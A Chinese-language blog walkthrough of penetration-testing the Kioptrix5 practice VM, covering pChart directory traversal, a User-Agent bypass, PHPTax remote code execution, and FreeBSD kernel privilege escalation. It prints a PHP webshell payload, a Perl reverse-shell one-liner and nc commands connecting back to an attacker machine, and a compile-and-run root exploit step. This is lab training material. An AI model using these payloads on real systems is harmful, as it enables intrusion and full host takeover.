渗透测试——Kioptrix5靶机渗透测试详细教程

今天给大家带来一篇Kioptrix5靶机的渗透测试详细讲解,本篇文章与之前一样,都会着重讲解getshell的方法以及思路,同时还会将横向渗透的过程用多种方法显示出来(如果有的话);

文章目录


信息收集

还是老样子,nmap扫描目标主机的网段,看看具体的IP地址是什么:

bash 复制代码
# 扫描网段
nmap -sP 192.168.44.0/24

# 收集详细信息
nmap -sC -sV -A -p- -T4 192.168.44.157

知道了目标主机的IP地址为:192.168.44.157,进行收集详细的信息:

根据扫描的结果,可以得到:

  • 操作系统为:FreeBSD
  • Apache服务版本:2.2.21
  • mod_ssl服务版本:2.2.21
  • 端口服务:ssh服务关闭;http服务开启,https服务开启;

渗透攻击

(1)尝试访问https服务,无法访问(端口不是开启的吗?)

具体原因后面会讲;

--

Pchart

(2)既然如此,那我们尝试访问Web页面:

查看源代码,发现了一个可疑url:URL=pChart2.1.3/index.php

输入网址后,访问页面如下图所示:

这个时候我简单了解了一下:

既然有漏洞,那就好办了,直接在漏洞库里进行寻找:pChart

发现漏洞,查看详情:

根据介绍我们可以得知,存在目录穿越XSS漏洞

  • XSS漏洞:hxxp://localhost/examples/sandbox/script/session.php?<script>alert('XSS')</script>

这里我们简单尝试了一下,没有什么用;着重还是目录穿越漏洞;


  • 目录穿越漏洞 指的是:程序原本只允许用户访问特定目录(例如 /var/www/html/upload/),但由于没有对用户输入做限制,攻击者可以通过加入 ../ 这样的路径跳转符,返回到上级目录,甚至跳到系统根目录。然后再拼接任意路径,比如:

    ../../../../etc/passwd

最终导致攻击者可以利用 Web 程序的权限读取服务器上任意文件。


  • 目录穿越:hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

既然如此,那我们可以访问目标主机系统中Apache中间件的主配置文件httpd.conf,以确认我们无法访问8080端口的原因

根据我们之前收集到的主机信息,找到了对应文件的位置:/usr/local/etc/apache22/httpd.conf

可以看到,已成功读取httpd.conf文件的内容;

而在httpd.conf文件的最下方,Apache针对8080端口的访问请求限制了浏览器类型和版本:

这个时候我们就可以用插件或者bp修改UA头,再去访问8080网页:

这时我们再将UA头进行修改:Mozilla/4.0 Mozilla4_browser

这时候我们就得到了不一样的页面;


phptax

同时我们还发现了一个新的服务:phptax

PHPTax 是一个早期的开源 PHP 税务计算程序,因为长期无人维护、代码老旧且大量使用不安全的函数(如 includeeval),使其存在多种经典漏洞,包括目录穿越、文件包含(LFI/RFI)、任意文件读取与写入,以及可进一步导致远程代码执行(RCE)。因此 PHPTax 常被安全人员作为教学和靶场练习的示例目标。

正常页面如下:

我们可以发现有MSF的自动化脚本,也有手动编译的脚本;在初学者阶段,我肯定是推荐手动进行编译,加深理解的:

我们选择RCE漏洞,进入查看使用文档:

构建如下链接:

方法一:自己创建并上传shell文件

bash 复制代码
# 创建shell文件
http://192.168.44.157:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

# 执行命令
http://192.168.44.157:8080/phptax/data/rce.php?cmd=id

我们创建了一个shell文件,并将执行结果通过参数cmd进行命令执行(CTF命令执行这部分可以看我之前的文章,已完结):

举例:


首先kali输入命令:nc -lvvp 8882

然后目标机器输入:

bash 复制代码
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.44.131:8882");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

成功反弹shell:

输入命令:

这里我看网上有的师傅推荐了一个很好用的网站:https://forum.ywhack.com/reverse-shell

参考文章:https://blog.csdn.net/China_I_LOVE/article/details/145955351


方法二:使用kali的shell文件构建一句话木马

这里我们可以构造反弹shell的代码测试,可以借助"一句话Webshell "使用nc上传shell文件,本例中使用了Kali系统自带的php_reverse_shell.php ,它默认位于/usr/share/webshells/php目录:

(1)使用该文件时,首先要将其内部的反弹IP和端口更改为目前Kali系统实际使用的IP地址以及准备监听反弹shell的端口

bash 复制代码
nc -lvp 8882 < php_reverse_shell.php

(2)然后在目标机器上执行:

bash 复制代码
http://192.168.44.157:8080/phptax/data/rce.php?cmd=nc 192.168.44.131 8882 > reverse_shell.php

在当前目录进行查看,发现存在:

(3)完成上述操作后,kali使用如下nc命令重新监听8882端口。

bash 复制代码
nc -lvvp 8882

(4)最后通过浏览器访问链接http://192.168.44.157:8080/phptax/reverse_shell.php即可触发反弹shell的执行;


提权

现在我们得到了一个shell ,通过简单的人工命令枚举,会发现该目标主机本地没有Python,没有curl,甚至没有wget,但是存在GCC编译器:

FreeBSD 9内核提权实战

由于上述目标主机本地存在的可用程序寥寥,因此这里尝试使用系统内核提权方法来进行渗透测试;通过漏洞库,我们可以得到几个payload:

由于目标主机没有wget和curl,所以还是需要使用nc来进行文件传输:

(1)我们将payload文件进行下载,通过nc传输方法将源码上传到目标主机的Web目录上:

我们在kali上开启一个监听:

(2)然后再目标主机上执行代码:

bash 复制代码
http://192.168.44.157:8080/phptax/data/rce.php?cmd=nc 192.168.44.131 1234 > 26368.c

(3)这个时候我们就可以看到kali返回了结果:

同时目标机器也已经得到payload文件:

(4)使用gcc编译:gcc 26368.c

得到可执行文件:

(5)通过./a.out命令执行编译产生的可执行文件,将直接获得root权限

成功得到root权限;

总结

期待下次再见,多看多练多总结;

相关推荐
是小蟹呀^7 分钟前
【总结】LangChain中工具的使用
python·langchain·agent·tool
宝贝儿好16 分钟前
【LLM】第二章:文本表示:词袋模型、小案例:基于文本的推荐系统(酒店推荐)
人工智能·python·深度学习·神经网络·自然语言处理·机器人·语音识别
赛博云推-Twitter热门霸屏工具17 分钟前
Twitter运营完整流程:从0到引流获客全流程拆解(2026)
运维·安全·自动化·媒体·twitter
王夏奇33 分钟前
pythonUI界面弹窗设置的几种办法
python·ui
ACP广源盛1392462567341 分钟前
破局 Type‑C 切换器痛点@ACP#GSV6155+LH3828/GSV2221+LH3828 黄金方案
c语言·开发语言·网络·人工智能·嵌入式硬件·计算机外设·电脑
ZhengEnCi1 小时前
P2B-Python可迭代对象完全指南-从列表到生成器的Python编程利器
python
xixixi777771 小时前
通信领域的“中国速度”:从5G-A到6G,从地面到星空
人工智能·5g·安全·ai·fpga开发·多模态
萌萌站起1 小时前
Vscode 中 python模块的导入问题
ide·vscode·python
是小蟹呀^2 小时前
【总结】提示词工程
python·llm·prompt·agent
YBAdvanceFu2 小时前
从零构建智能体:深入理解 ReAct Plan Solve Reflection 三大经典范式
人工智能·python·机器学习·数据挖掘·多智能体·智能体